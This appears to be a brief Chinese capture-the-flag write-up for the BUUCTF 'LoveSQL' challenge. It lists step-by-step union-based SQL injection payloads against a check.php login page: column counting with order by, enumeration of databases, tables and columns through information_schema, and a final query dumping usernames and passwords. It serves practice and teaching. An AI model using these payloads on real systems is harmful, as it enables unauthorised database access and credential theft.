题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]LoveSQL
万能密码登陆成功了,确定存在注入点
order by
判断字段数量
/check.php?username=mochu7'order by 3%23&password=admin
确定字段数量为3,查看回显点
/check.php?username=mochu7'union select 1,2,3%23&password=admin
查询当前数据库和所有数据库
/check.php?username=mochu7'union select 1,database(),group_concat(schema_name) from information_schema.schemata%23&password=admin
information_schema
mysql
performance_schema
test
geek
查询geek
数据库中的表
/check.php?username=mochu7'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=admin
geekuser
l0ve1ysq1
查询geek.l0ve1ysq1
表下的字段名
/check.php?username=mochu7'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=admin
id
username
password
查询字段所有内容
/check.php?username=mochu7'union select 1,2,group_concat(id,'---',username,'---',password) from geek.l0ve1ysq1%23&password=admin